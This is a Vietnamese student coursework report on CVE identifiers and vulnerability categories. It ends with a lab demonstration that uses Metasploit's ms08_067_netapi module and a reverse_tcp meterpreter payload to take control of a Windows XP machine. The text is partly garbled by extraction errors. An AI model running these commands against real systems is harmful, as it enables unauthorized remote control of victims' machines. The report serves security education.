Định nghĩa CVE (Common Vulnerabilities and Exposures) MỘT SỐ HÌNH THỨC TẤN CÔNG LIÊN QUAN KHAI THÁC LỖ HỔNG BẢO MẬT DỰA TRÊN MÃ ĐỊNH DANH CVE Mô phỏng khai thác lỗ hổng MS 08067 để chiếm quyền điều khiển máy Windows XP với mã định danh CVE20084250
BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT Mà ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ BÁO CÁO BÀI TẬP LỚN TÌM HIỂU VỀ Mà ĐỊNH DANH CVE VÀ KỸ THUẬT KHAI THÁC LỖ HỔNG BẢO MẬT THEO Mà ĐỊNH DANH CVE Ngành: Công nghệ thơng tin Chun ngành: An tồn thơng tin Mã số: 52.48.02.01 Hà Nội, 2018 BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT Mà ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ BÁO CÁO BÀI TẬP LỚN TÌM HIỂU VỀ Mà ĐỊNH DANH CVE VÀ KỸ THUẬT KHAI THÁC LỖ HỔNG BẢO MẬT THEO Mà ĐỊNH DANH CVE Ngành: Công nghệ thông tin Chuyên ngành: An tồn thơng tin Mã số: 52.48.02.01 Sinh viên thực hiện: − Nguyễn Thanh Trà AT12D − Bùi Quốc Quân AT12D − Ngơ Quang Hồng Sơn AT12D − Vũ Minh Hoàng AT12D Lớp: L04 Người hướng dẫn: ThS Phạm Sỹ Nguyên Hà Nội, 2018 MỤC LỤC Danh mục hình vẽ Danh mục bảng Lời nói đầu Chương GIỚI THIỆU CHUNG VỀ Mà ĐỊNH DANH CVE 1.1 Định nghĩa CVE (Common Vulnerabilities and Exposures) 1.2 Lịch sử CVE 1.3 Ưu điểm CVE 1.4 ID CVE cú pháp ID CVE 1.5 Thống kê số lượng lỗ hổng bảo mật công bố từ năm 1999-2017 Chương MỘT SỐ HÌNH THỨC TẤN CƠNG LIÊN QUAN KHAI THÁC LỖ HỔNG BẢO MẬT DỰA TRÊN Mà ĐỊNH DANH CVE Chương Lỗ hổng gây từ chối dịch vụ (Denial of Service) 3.1 Lỗ hổng leo thang đặc quyền (Gain privilege) 3.2 Lỗ hổng SQL Injection 3.3 Lỗ hổng Execute Code Overflow (thực thi tràn mã) 3.4 Lỗ hổng Cross-site scripting (XSS) 3.5 Một số công khác dựa mã định danh CVE Chương THỰC HIỆN TÌNH HUỐNG MƠ PHỎNG 4.1 Ý tưởng 4.2 Mục đích 4.3 Mô khai thác lỗ hổng MS 08-067 để chiếm quyền điều khiển máy Windows XP với mã định danh CVE-2008-4250 4.4 Kết đạt Kết luận Tài liệu tham khảo i DANH MỤC HÌNH VẼ Hình 1-1: Tổng số lỗ hổng công bố từ năm 1999-2017 Hình 1-2: Số lượng lỗ hổng nghiêm trọng từ năm 1999-9/2017 Hình 1-3: Số lượng loại lỗ hổng, tính từ năm 1999-9/2017 Hình 1-4: Lỗ hổng sản phẩm Microsoft qua năm Hình 1-5: Lỗ hổng sản phẩm RedHat qua năm Hình 3-6: Sử dụng Metaspoit để khai thác lỗ hổng Hình 3-7: Khai thác máy nạn nhân Hình 3-8: Lấy thơng tin máy nạn nhân ii DANH MỤC BẢNG Bảng 1-1: Tổng hợp lỗ hổng số hệ điều hành Bảng 2-2: Điểm CVSS thông tin ảnh hưởng lỗ hổng CVE2017-11788 Bảng 2-3: Điểm CVSS thông tin ảnh hưởng lỗ hổng CVE2017-11781 Bảng 2-4: Điểm CVSS thông tin ảnh hưởng lỗ hổng CVE2017-8673 Bảng 2-5: Điểm CVSS thông tin ảnh hưởng lỗ hổng CVE2017-0244 Bảng 2-6: Điểm CVSS thông tin ảnh hưởng lỗ hổng CVE2017-0246 Bảng 2-7: Điểm CVSS thông tin ảnh hưởng lỗ hổng CVE2015-1795 Bảng 2-8: Điểm CVSS thông tin ảnh hưởng lỗ hổng CVE2018-11309 Bảng 2-9: Điểm CVSS thông tin ảnh hưởng lỗ hổng CVE2018-1000650 Bảng 2-10: Điểm CVSS thông tin ảnh hưởng lỗ hổng CVE2018-12464 Bảng 2-11: Điểm CVSS thông tin ảnh hưởng lỗ hổng CVE2017-7269 Bảng 2-12: Điểm CVSS thông tin ảnh hưởng lỗ hổng CVE2018-5721 Bảng 2-13: Điểm CVSS thông tin ảnh hưởng lỗ hổng CVE2009-1133 Bảng 2-14: Điểm CVSS thông tin ảnh hưởng lỗ hổng CVE2017-5490 Bảng 2-15: Điểm CVSS thông tin ảnh hưởng lỗ hổng CVE2016-7103 Bảng 2-16: Điểm CVSS thông tin ảnh hưởng lỗ hổng CVE2017-5488 iii LỜI NÓI ĐẦU Với phát triển bùng nổ công nghệ thông tin (CNTT), người ngày sử dụng nhiều loại thiết bị kết nối Internet để phục vụ nhu cầu sống Điều làm tăng đáng kể phương pháp công cho tội phạm trực tuyến, việc khai thác lỗ hổng thiết bị kết nối Internet người dùng Chẳng hạn việc tích hợp cơng cụ Ubuntu Linux vào Windows 10 trở thành hướng cho công đa tảng, lỗ hổng bảo mật thường thấy Java trình duyệt web Do đó, lỗ hổng bảo mật mối quan tâm hàng đầu việc đảm bảo an tồn, an ninh thơng tin mạng Trong năm gần đây, số lượng lỗ hổng bảo mật công bố (Common Vulnerabilities and Exposures - CVE) giảm, sau đạt mức cao kỷ lục vào năm 2014 Vì nhóm chọn đề tài : “Tìm hiểu mã định danh CVE kỹ thuật khai thác lỗ hổng theo mã định danh CVE” Đề tài dừng lại mức độ tìm hiểu nên báo cáo cịn nhiều thiếu sót mong thầy đóng góp ý kiến để nhóm làm tốt đề tài sau Thành viên nhóm Nguyễn Thanh Trà Bùi Quốc Qn Ngơ Quang Hoàng Sơn Vũ Minh Hoàng iv CHƯƠNG GIỚI THIỆU CHUNG VỀ Mà ĐỊNH DANH CVE 1.1 Định nghĩa CVE (Common Vulnerabilities and Exposures) CVE từ điển cung cấp định nghĩa cho lỗ hổng bảo mật phơi nhiễm công khai mạng Mục tiêu CVE làm cho việc chia sẻ liệu dễ dàng khả dễ bị tổn thương riêng biệt (các công cụ, sở liệu dịch vụ) với định nghĩa Mục nhập CVE bao gồm số nhận dạng, mô tả tham chiếu công khai "Lỗ hổng" điểm yếu logic tính tốn tìm thấy phần mềm số thành phần phần cứng, khai thác, dẫn đến tác động tiêu cực đến tính bảo mật, tính tồn vẹn, tính khả dụng Việc giảm thiểu lỗ hổng ngữ cảnh thường liên quan đến thay đổi mã hóa, bao gồm thay đổi đặc điểm kỹ thuật chí đặc điểm kỹ thuật khơng dùng (ví dụ, loại bỏ giao thức chức bị ảnh hưởng toàn bộ) 1.2 Lịch sử CVE Khái niệm ban đầu cho trở thành Danh sách CVE trình bày người đồng sáng tạo CVE, David E Mann Steven M Christey MITER Corporation, báo trắng mang tên Hướng tới việc liệt kê lỗ hổng phổ biến Hội thảo lần Nghiên cứu Cơ sở liệu bảo mật dễ bị tổn thương vào ngày 21-22 tháng năm 1999 Đại học Purdue West Lafayette, Indiana, Hoa Kỳ Từ khái niệm ban đầu đó, nhóm làm việc thành lập (sau trở thành Ban biên tập CVE 19 thành viên ban đầu), 321 CVE Entries tạo Các Danh sách CVE thức tung cho công chúng vào tháng năm 1999 Cộng đồng an ninh mạng xác nhận tầm quan trọng CVE qua sản phẩm dịch vụ "CVE-tương thích" từ lúc CVE đưa vào năm 1999 Là cách nhanh chóng tháng 12 năm 2000 có 29 tổ chức tham gia với tờ khai tương thích với sản phẩm 43 Ngày nay, số tăng lên đáng kể với nhiều sản phẩm dịch vụ từ khắp nơi giới kết hợp với mục nhập CVE Một yếu tố quan trọng khác để áp dụng bao gồm liên tục ID CVE tư vấn bảo mật Nhiều nhà cung cấp hệ điều hành lớn tổ chức khác từ khắp nơi giới bao gồm ID CVE cảnh báo họ để đảm bảo cộng đồng quốc tế có lợi có ID CVE vấn đề cơng bố Ngồi ra, mục CVE sử dụng để xác định lỗ hổng danh sách theo dõi công khai OWASP Top 10 vấn đề bảo mật ứng dụng web , báo cáo infographics " Báo cáo mối đe dọa bảo mật Internet Tập đoàn Symantec , Tập 19 " đánh giá theo mức độ nghiêm trọng Hệ thống tính điểm dễ tổn thương chung (CVSS) ID CVE thường trích dẫn ấn phẩm thương mại báo cáo phương tiện thông tin chung lỗi phần mềm; CVE-2014-0160 cho " Heartbleed " Việc sử dụng CVE quan Hoa Kỳ Viện Tiêu chuẩn Công nghệ Quốc gia (NIST) khuyến nghị " NIST Special Publication (SP) 800-51, Sử dụng Kế hoạch Đặt Lỗ hổng Tiếp xúc Lỗ hổng (CVE) " vào năm 2002 cập nhật vào năm 2011 Vào tháng năm 2004, Cơ quan Hệ thống Thơng tin Quốc phịng Hoa Kỳ (DISA) ban hành lệnh nhiệm vụ cho ứng dụng đảm bảo thông tin yêu cầu sử dụng sản phẩm sử dụng Mã định danh CVE CVE sử dụng làm sở cho dịch vụ hoàn toàn Cơ sở liệu lỗ hổng bảo mật quốc gia Hoa Kỳ (NVD) —một "cơ sở liệu bảo mật an ninh mạng tồn diện tích hợp tất tài ngun dễ bị tổn thương Chính phủ Hoa Kỳ cơng khai cung cấp tài liệu tham khảo cho tài ngun cơng nghiệp" —được đồng hóa dựa Danh sách CVE NVD bao gồm ánh xạ Giao thức Tự động Nội dung An toàn (SCAP) cho ID CVE SCAP phương pháp sử dụng tiêu chuẩn cụ thể phép quản lý lỗ hổng, đo lường đánh giá tuân thủ sách (ví dụ, tuân thủ FISMA) CVE tiêu chuẩn cộng đồng mở SCAP sử dụng để liệt kê, đánh giá đo lường tác động vấn đề phần mềm báo cáo kết Ngoài ra, Hoa KỳCấu hình lõi máy tính để bàn liên bang (FDCC) yêu cầu xác minh việc tuân thủ yêu cầu FDCC cách sử dụng công cụ quét xác thực SCAP CVE Change Logs công cụ tạo CERIAS / Purdue University để theo dõi bổ sung thay đổi Danh sách CVE cho phép người dùng nhận báo cáo hàng ngày hàng tháng Open Vulnerability and Assessment Language (OVAL) , điều hành Trung tâm bảo mật Internet , tiêu chuẩn để xác định trạng thái máy hệ thống máy tính sử dụng định nghĩa OVAL Vulnerability cộng đồng phát triển dựa chủ yếu vào mục CVE Số liệt kê điểm yếu chung MITRE (CWE ™) từ điển thức điểm yếu phần mềm phổ biến dựa phần 100.000 mục CVE Danh sách CVE Và vào năm 2011, Tổ chức Kiểm sốt an ninh khơng gian mạng Liên minh Viễn thông Quốc tế (ITU-T) , quan tiêu chuẩn hệ thống thông tin/ viễn thông tổ chức liên phủ 150 năm tuổi, thơng qua CVE phần "Bảo mật Internet toàn cầu mới" Kỹ thuật trao đổi thông tin (X.CYBEX) "bằng cách đưa khuyến nghị ITU-T X.1520 Các lỗ hổng phơi nhiễm chung (CVE) , dựa yêu cầu lưu trữ khuyến nghị CVE tương thích trước cho tài liệu tương thích CVE Ngày nay, CVE tích cực mở rộng Chương trình Quản lý Đánh số CVE (CNA) CNA cách danh sách CVE xây dựng Mỗi mục nhập CVE thêm vào danh sách định CNA Nhiều tổ chức từ khắp nơi giới tham gia CNA, với ngày nhiều tổ chức định tham gia nỗ lực CVE trở thành CAN 1.3 Ưu điểm CVE Mã định danh CVE sử dụng để xác định lỗ hổng bảo mật Các lỗ hổng phơi nhiễm thông thường (CVE) từ điển tên thông thường cho lỗ hổng bảo mật thông tin biết công khai Các số nhận dạng phổ biến CVE giúp dễ dàng chia sẻ liệu qua sở liệu công cụ bảo mật mạng riêng biệt cung cấp đường sở để đánh giá mức độ phù hợp công cụ bảo mật tổ chức Nếu báo cáo từ công cụ bảo mật bạn kết hợp Mã định danh CVE, bạn truy cập nhanh chóng xác thơng tin khắc phục nhiều sở liệu tương thích CVE riêng biệt để khắc phục cố Người dùng định mã định danh CVE cho lỗ hổng khuyến khích để đảm bảo họ đặt số nhận dạng báo cáo bảo mật liên quan, trang web,email, v.v CVE miễn phí để sử dụng cơng khai có sẵn cho quan tâm đến liệu tương quan lỗ hổng bảo mật khác công cụ bảo mật, kho dịch vụ Bạn tìm kiếm tải xuống CVE, chép nó, phân phối lại nó, tham khảo phân tích nó, miễn bạn khơng tự sửa đổi CVE Bạn liên kết đến trang Nhập CVE cụ thể từ trang web, sản phẩm, ấn khả khác bạn CVE hữu ích cung cấp số nhận dạng chuẩn hóa cho lỗ hổng độ phơi sáng cho Việc biết số nhận dạng phổ biến cho phép bạn truy cập nhanh chóng xác thơng tin cố nhiều nguồn thơng tin tương thích với CVE Ví dụ: bạn sở hữu cơng cụ bảo mật có báo cáo chứa tham chiếu đến ID CVE, bạn truy cập thơng tin sửa lỗi sở liệu riêng biệt tương thích với CVE CVE cung cấp cho bạn đường sở để đánh giá mức độ phù hợp công cụ bạn Với số nhận dạng chung CVE, bạn biết xác công cụ bao gồm cho phép bạn xác định công cụ hiệu phù hợp với nhu cầu tổ chức bạn Ngoài ra, tư vấn bảo mật mà tổ chức bạn nhận tương thích với CVE, bạn xem máy qt lỗ hổng bạn có kiểm tra mối đe dọa hay khơng sau xác định xem hệ thống phát xâm nhập bạn có chữ ký cơng thích hợp hay khơng Nếu bạn xây dựng trì hệ thống cho khách hàng, khả tương thích CVE tư vấn giúp bạn xác định trực tiếp sửa lỗi từ nhà cung cấp sản phẩm phần mềm thương mại hệ thống (nếu trang web sửa lỗi nhà cung cấp tương thích với CVE) 1.4 ID CVE cú pháp ID CVE a) ID CVE phần số mục nhập CVE , ví dụ: "CVE-1999-0067", "CVE-201412345" "CVE-2016-7654321" ID CVE nhà cung cấp sản phẩm / dịch vụ bảo mật mạng nhà nghiên cứu sử dụng làm phương pháp chuẩn để xác định lỗ hổng liên kết chéo với kho lưu trữ khác sử dụng ID CVE b) Cú pháp ID CVE xác định thành phần số ID mục nhập CVE , ví dụ: "CVE2014-9999999", bao gồm tiền tố CVE + năm + số thứ tự Với cú pháp mới, ID CVE có nhiều chữ số phần số thứ tự ID Ví dụ, tin CVE-YYYY-NNNN với chữ số dãy số, CVE-YYYY-NNNNN với chữ số dãy số, CVE-YYYY-nnnnnnn với chữ số dãy số, v.v Sự thay đổi cần thiết cú pháp CVE ID sử dụng kể từ thành lập CVE vào năm 1999, CVE-YYYY-NNNN, hỗ trợ tối đa 9,999 số nhận dạng năm Do báo cáo lỗ hổng công khai ngày tăng, CVE Board CVE Team xác định Chương trình CVE cần thay đổi cú pháp mã định danh lỗ hổng chuẩn để CVE theo dõi 10.000 lỗ hổng năm Cú pháp CVE ID xác định bỏ phiếu Hội đồng Quản trị CVE, chi tiết có sẵn Bản lưu trữ Danh sách Thảo luận Hội đồng Quản trị CVE Thay đổi cú pháp ID CVE có hiệu lực vào ngày tháng năm 2014 ID CVE cú pháp phát hành lần đầu vào ngày 13 tháng năm Sự tràn đệm hàm ScStoragePathFromUrl dịch vụ WebDAV Dịch vụ thông tin Internet (IIS) 6.0 Microsoft Windows Server 2003 R2 cho phép kẻ công từ xa thực thi mã tùy ý thông qua tiêu đề dài bắt đầu "If: use exploit/windows/smb/ms08_067_netapi show options để xem tham số mô-đun này: RHOST : IP nạn nhân LHOST : IP kẻ công 33 Hình 3-6: Sử dụng Metaspoit để khai thác lỗ hổng Kẻ công thiết lập tham số msf exploit(ms08_067_netapi) > set RHOST 192.168.1.3 msf exploit(ms08_067_netapi) > set LHOST 192.168.1.2 msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp Ở kẻ cơng sử dụng payload meterpreter đơn giản khó phát hiện, hỗ trợ nhiều tùy chọn trính khai thác máy nạn nhân : keylog, webcam, hasdump …Trong tham số command có sử dụng reverse_tcp cho phép trình kết nối ngược máy kẻ cơng Có thể hiểu cách đơn giản máy kẻ công mở sẵn cổng cổng kết nối chờ máy nạn nhân kết nối vào Cuối cùng, để module tiến hành thực thi kẻ cơng dùng lệnh: msf exploit(ms08_067_netapi) > exploit • Bước 2: Khai thác máy nạn nhân 34 Hình 3-7: Khai thác máy nạn nhân Như kẻ cơng kiểm sốt máy nạn nhân Kẻ cơng gõ getuid để thấy thông tin username, getinfo để biết thông tin máy, ls C:\ để xem ổ đĩa, mkdir để tạo thư mục, … Hình 3-8: Lấy thơng tin máy nạn nhân 4.4 Kết đạt Sử dụng công cụ Metasploit khai thác lỗ hổng MS 08-067 có mã định danh CVE CVE-2008-4250 Kiểm soát máy nạn nhân tiến hành thu thập thông tin từ máy nạn nhân Kẻ công xem ổ đĩa, tạo thư mục, … 35 KẾT LUẬN Thông báo lỗ hổng bảo mật mối quan tâm nhà cung cấp dịch vụ công ty hàng đầu giới công nghệ Các nhà cung cấp tạo sách chế kiểm sốt để thực thi công việc quản lý an ninh lỗ hổng Gần đây, sách việc kiểm soát tạo thuận lợi cho việc kiểm tra đánh giá, tập trung vào môi trường doanh nghiệp Do điều luật pháp lý tăng cường nhận thức mối đe dọa tại, việc thông báo lỗ hổng cần phải thực định kỳ Tuy nhiên, công ty lớn quan phủ dựa xu hướng mô công thực tế để có biện pháp an ninh thích hợp Về bản, cách tiếp cận bao gồm việc thuê chuyên gia bảo mật để thực phát hiện, kiểm tra, đánh giá lỗ hổng ATTT dựa liệu thu Xu hướng gọi “Chương trình Phần thưởng Lỗ hổng bảo mật” (Vulnerability Reward Program - VRP), nhằm khuyến khích người tìm lỗ hổng bảo mật sản phẩm Chương trình không giúp sửa lỗi sản phẩm hệ sinh thái hãng cơng nghệ mà cịn giúp người dùng an toàn mối đe dọa thường trực Internet Các công ty hàng đầu Facebook, Google hay Yahoo nỗ lực để phát triển hoạt động Đối với nhà phát triển ứng dụng nhà sản xuất thiết bị IoT, chương trình nhanh chóng mang lại cải tiến sản phẩm, kiểm tra thường tiến hành số lượng lớn nhà nghiên cứu lỗ hổng báo cáo phát Ngoài ra, kiểm tra thực với khung thời gian mở rộng, sản phẩm nghiên cứu tìm hiểu chuyên sâu 36 TÀI LIỆU THAM KHẢO [1] [2] [3] [4] [5] http://cve.mitre.org/about/faqs.html https://cve.mitre.org/about/history.html https://www.cvedetails.com/cve/ https://docs.microsoft.com/en-us/securityupdates/securitybulletins/2008/ ms08-067 Giáo trình An tồn thơng tin - ThS Nguyễn Cơng Nhật 37 ... update-core.php WordPress trước 4.7.1 cho phép kẻ công từ xa chèn tập lệnh web tùy ý HTML thông qua (1) tên (2) tiêu đề phiên plugin Ngày xuất bản:14/01/2017 Ngày cập nhật cuối: 11/03/2017 Điểm CVSS Tác